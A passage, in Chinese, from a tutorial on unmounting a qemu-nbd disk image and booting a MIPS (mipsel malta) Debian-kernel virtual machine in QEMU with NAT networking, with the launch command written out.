  3. 取消镜像挂载
    1
    2
    sudo umount /mnt
    sudo qemu-nbd -d /dev/nbd0
    通过上面的操作之后,当前文件夹目录及文件如下:
    undifined

启动 QEMU 虚拟机

当上面的步骤完成后,一个可以正常启动的 QEMU Linux 系统就完成了,而且网络默认是使用的NAT,可以连通外网,但是宿主机没有办法连接到QEMU虚拟机中,用来配置安装QEMU虚拟机的软件是足够了,启动命令如下:

1
2
3
4
5
6
sudo qemu-system-mipsel -M malta \
-m 1024 -hda hda.img \
-kernel vmlinuz-5.10.0-18-4kc-malta \
-initrd initrd.img-5.10.0-18-4kc-malta \
-append "root=/dev/sda1 console=ttyS0 nokaslr" \
-nographic

这样就可以在该架构上的虚拟机上做一些事了。
undifined

参考链接